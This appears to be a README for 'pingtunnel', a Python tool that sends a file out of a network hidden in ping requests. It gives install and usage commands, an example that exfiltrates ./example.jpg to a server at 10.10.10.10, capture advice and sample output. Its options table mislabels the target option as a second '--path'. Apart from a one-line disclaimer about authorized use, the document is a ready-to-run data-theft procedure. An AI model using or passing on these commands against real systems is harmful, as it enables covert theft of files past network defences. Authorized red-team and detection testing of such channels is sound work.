Usage of this tool for educational or authorized use only and at your own responsibility.
Test possible data exfiltration through ping requests
pip install pingtunnel
From command line:
python -m pingtunnel --path PATH --target TARGET --interval INTERVAL
| Option | Short | Type | Default | Description |
|---|---|---|---|---|
| --path | -p | String | - | Path to file to be exfiltrated |
| --path | -p | String | - | IP of exfiltration server |
| --interval | -i | Float | 1.0 | Nr of seconds between pings |
python -m pingtunnel -p ./example.jpg -t 10.10.10.10
- Make sure to use
tcpdumporwiresharkon the exfiltration server in order to capture the ping requests
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pingtunnel by 5f0
Test possible data exfiltration through ping requests
Current working directory: path/to/pingtunnel
Datetime: 01/01/1970 10:11:12
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Status
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Exfiltration Server: 10.10.10.10
File to be exfiltrated: ./example.jpg
Total Number of Bytes: 1094
Number of Ping Requests: 35.0
Interval between Pings: 1.0 seconds
Execution
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-> Split ./example.jpg in 35.0 chunks
-> Send chunks
--> Transmission successful!
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Execution Time: 0.014563 sec
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